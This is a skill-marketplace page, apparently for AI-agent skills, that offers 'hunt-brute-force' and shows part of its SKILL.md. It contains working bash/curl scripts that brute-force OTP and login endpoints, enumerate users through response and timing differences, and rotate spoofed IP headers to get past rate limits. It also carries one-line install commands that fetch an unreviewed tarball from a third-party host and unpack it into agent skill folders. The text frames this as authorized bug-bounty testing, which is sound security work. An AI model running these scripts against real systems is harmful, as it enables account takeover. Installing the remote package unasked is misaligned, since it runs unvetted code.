hunt-brute-force – Marketing & SEO skill for AI agents
Hunt Missing/Weak Rate Limiting — login brute force, OTP/2FA brute force (10^6 keyspace), password-reset-token brute, credential stuffing, username/email enumeration via error-string / status-code / timing differences, weak password policy, missing CAPTCHA, IP-based rate-limit bypass via X-Forwarded-For and friends, Re
Install the hunt-brute-force skill with one command
Pick the tool you use, copy the command and paste it in your terminal. The skill lands in that tool's skills folder and is ready in your next session.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-brute-force-95c7e.tgz | tar xz -C ~/.claude/skills
Call it in Claude Code: /hunt-brute-force – then describe the task you want done.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-brute-force-95c7e.tgz | tar xz -C ~/.codex/skills
Call it in Codex: $hunt-brute-force – then describe the task you want done.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-brute-force-95c7e.tgz | tar xz -C ~/.hermes/skills
Call it in Hermes Agent: /hunt-brute-force – then describe the task you want done.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-brute-force-95c7e.tgz | tar xz -C ~/.deepcode/skills
Call it in DeepSeek: /hunt-brute-force – then describe the task you want done.
SKILL.md content
HUNT-BRUTE-FORCE — Rate Limiting / Brute Force / Enumeration
> Grounding note: this skill is built from published technique classes, not from a
> curated set of named HackerOne reports. report_count is intentionally 0 — do
> not cite an exact payout or report ID you cannot verify. Where a public case is
> well-documented (e.g. Laxman Muthiyah's Instagram password-reset OTP race/rotation
> research, 2019–2021), it is named below as a *technique reference*, not a payout claim.
Crown Jewel Targets
OTP brute force (6-digit = 1,000,000 combinations) with no effective rate limit = Critical ATO bypass.
Highest-value chains:
- OTP / 2FA brute → MFA bypass → ATO — no effective rate limit on
/verify-otp, full 000000–999999 keyspace reachable - Password-reset token brute — short/predictable/non-expiring tokens + no rate limit → ATO (the Instagram 2019 case combined a 6-digit reset code, no rate limit per request-source, and IP rotation to make 10^6 tractable)
- Username/email enumeration → targeted credential stuffing — valid/invalid distinguishable by response string, status code, or timing, then sprayed with breach corpora
- Coupon / gift-card / referral code brute — no rate limit on code validation → financial impact
- ReDoS — attacker-controlled input hits a catastrophic-backtracking regex → CPU exhaustion → DoS
---
CRITICAL: Four rate-limit states — do not collapse them
A 200/401 with no 429 does not mean "no rate limiting". A rate-limiting
skill that only checks for 429/lockout produces false negatives. Classify the
defense BEFORE concluding, by sending a burst of ~50 requests and watching the
*full* response (status, body, headers, latency, and downstream success):
| State | Signal | Brute still feasible? |
|-------|--------|-----------------------|
| Hard account lockout | account disabled after N fails; later *correct* creds also fail | No (but lockout itself can be a DoS finding) |
| Soft IP throttle | 429 / increasing latency keyed on source IP only | Yes — bypass via header/IP rotation (Phase 4) |
| CAPTCHA injection | 200 but body switches to a CAPTCHA challenge after N | Maybe — check if the verify endpoint enforces it server-side or if the API path skips it |
| Silent shadow-throttle | 200/401 returned for every request, but submissions are *dropped* — the genuinely-correct OTP/password stops being accepted, or responses become canned | This is the trap. A naive loop sees "all 200, no 429" and reports "no rate limit" — false. |
Shadow-throttle detector — inject a known-good value at a known position and
confirm it still works under load:
# Seed: position 500 in the brute set is the REAL OTP for your own test account.
# If the loop reaches 500 and the correct code no longer authenticates,
# the endpoint is silently throttling/dropping — NOT unprotected.
KNOWN_GOOD="123456" # the actual current OTP for YOUR test account
for n in $(seq 0 600); do
CODE=$([ "$n" = "500" ] && echo "$KNOWN_GOOD" || printf "%06d" "$n")
CODE_RESP=$(curl --max-time 30 --connect-timeout 10 -s -o /tmp/bf_body -w "%{http_code} %{time_total}" \
-X POST "https://$TARGET/api/verify-otp" \
-H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
-d "{\"otp\":\"$CODE\"}")
echo "$n $CODE $CODE_RESP $(wc -c </tmp/bf_body)"
done
# Three columns to watch: status, time_total, body size.
# Rising time_total or a body-size change with status unchanged = shadow throttle.---
Step-by-Step Hunting Methodology
Phase 1 — Login Rate Limit Test (classify, don't just count 429s)
# Send a burst and log status + latency + body length for EACH attempt.
for i in $(seq 1 50); do
read CODE TIME < <(curl --max-time 30 --connect-timeout 10 -s -o /tmp/bf_l -w "%{http_code} %{time_total}\n" \
-X POST "https://$TARGET/api/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"test@$TARGET\",\"password\":\"wrong$i\"}")
echo "Attempt $i: status=$CODE time=${TIME}s len=$(wc -c </tmp/bf_l)"
sleep 0.1
done
# Then CLASSIFY against the 4-state table above. Watch for:
# - status flips to 429 / 403 → soft throttle or lockout
# - body grows / CAPTCHA token appears → CAPTCHA injection
# - latency climbs while status stays 401 → shadow throttle
# - genuinely nothing changes across all 50 → candidate "no rate limit" (confirm w/ Phase 2 seed)Phase 2 — OTP / 2FA Brute Force
# PRE-REQUISITE: a valid session that is pending OTP verification (your own test account).
SESSION_COOKIE="pre-auth-session-after-first-factor"
# ---- 2a. PoC probe: send 101 codes (seq 0..100 is INCLUSIVE = 101 values) ----
# This ONLY proves the endpoint accepts repeated attempts without 429/lockout.
# It does NOT prove the full 10^6 keyspace is brute-forcible — see 2b.
for CODE in $(seq -f "%06g" 0 100); do
RESP=$(curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/verify-otp" \
-H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
-d "{\"otp\":\"$CODE\"}" -o /dev/null -w "%{http_code}")
echo "$CODE: $RESP"
[ "$RESP" = "429" ] && { echo "Rate limit at $CODE"; break; }
done
# 101 attempts with no 429/lockout → endpoint is a candidate. NOW run the shadow-throttle
# seed test (above) before claiming "no rate limit". A clean probe is necessary, not sufficient.
# ---- 2b. Full-keyspace impact proof (only with explicit authorization + your own account) ----
# Severity rests on 10^6 being REACHABLE, not on 101 codes. Demonstrate tractability:
# - keyspace = 10^6 ; observed throughput from 2a (req/s) ; expected hit at ~half keyspace.
# - e.g. 50 req/s sustained → ~10^6 / 50 ≈ 5.5 hours worst case, ~2.8h expected. That IS the impact.
# - If a code rotates every T seconds, the real bound is (req/s * T) attempts per window.
# Brute is only viable if (throughput * code_lifetime) approaches the keyspace, OR if the
# code does NOT rotate / reset is unlimited (the Instagram-2019 class).
# Report the math; do NOT actually exhaust 10^6 against a third party.Phase 3 — Username / Email Enumeration (string AND status AND timing)
VALID_USER="known-user@$TARGET"
INVALID_USER="definitely-not-real-xyz123@$TARGET"
# String + status diff
for U in "$VALID_USER" "$INVALID_USER"; do
curl --max-time 30 --connect-timeout 10 -s -o /tmp/bf_e -w "[$U] status=%{http_code} time=%{time_total}s len=%{size_download}\n" \
-X POST "https://$TARGET/api/login" -H "Content-Type: application/json" \
-d "{\"email\":\"$U\",\"password\":\"wrongpassword\"}"
done
diff <(curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}") \
<(curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}")
# Different message/status/len → enumeration.
# Timing oracle (valid users hash the password, invalid users short-circuit → measurable delta).
# Sample MANY times and compare medians — a single request is noise, not signal.
echo "VALID timings:"; for i in $(seq 1 30); do curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{time_total}\n" \
-X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
echo "INVALID timings:"; for i in $(seq 1 30); do curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{time_total}\n" \
-X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
# A reproducible median delta (e.g. valid ~180ms vs invalid ~40ms) is a timing-based enum finding.
# Reset + registration enumeration
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/forgot-password" -d "email=$VALID_USER" | grep -i "sent\|exist\|not found\|registered"
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/forgot-password" -d "email=$INVALID_USER" | grep -i "sent\|exist\|not found\|registered"
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/register" -d "email=$VALID_USER" | grep -i "exist\|taken\|already"Phase 4 — IP / Source Rotation Bypass
# Per-IP limits are bypassable when the app trusts a client-controlled source header.
# Rotate the header EVERY request; if the 429 you hit in Phase 1 disappears → broken limit.
HEADERS=( "X-Forwarded-For" "X-Real-IP" "X-Originating-IP" "X-Client-IP" \
"X-Remote-IP" "X-Forwarded" "Forwarded-For" "CF-Connecting-IP" "True-Client-IP" )
for i in $(seq 1 60); do
RAND_IP="$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1)"… (full content is in the download package)
Related skills
- campaign-analytics – Analyzes campaign performance with multi-touch attribution, funnel conversion analysis…
- shipping-and-launch – Prepares production launches. Use when preparing to deploy to production, or when asking…
- emails – When the user wants to create or optimize an email sequence, drip campaign, automated…
- fictiv – Operates Fictiv (app.fictiv.com), the on-demand manufacturing platform, end to end in…
- events – When the user wants to plan, run, sponsor, speak at, or get pipeline from events —…
- apify-competitor-intelligence – Analyze competitor strategies, content, pricing, ads, and market positioning across…
- apify-facebook-ads-library-scraper – Research Meta Ad Library ads by advertiser or keyword with creative links, dates and…
- free-tools – When the user wants to plan, evaluate, or build a free tool for marketing purposes —…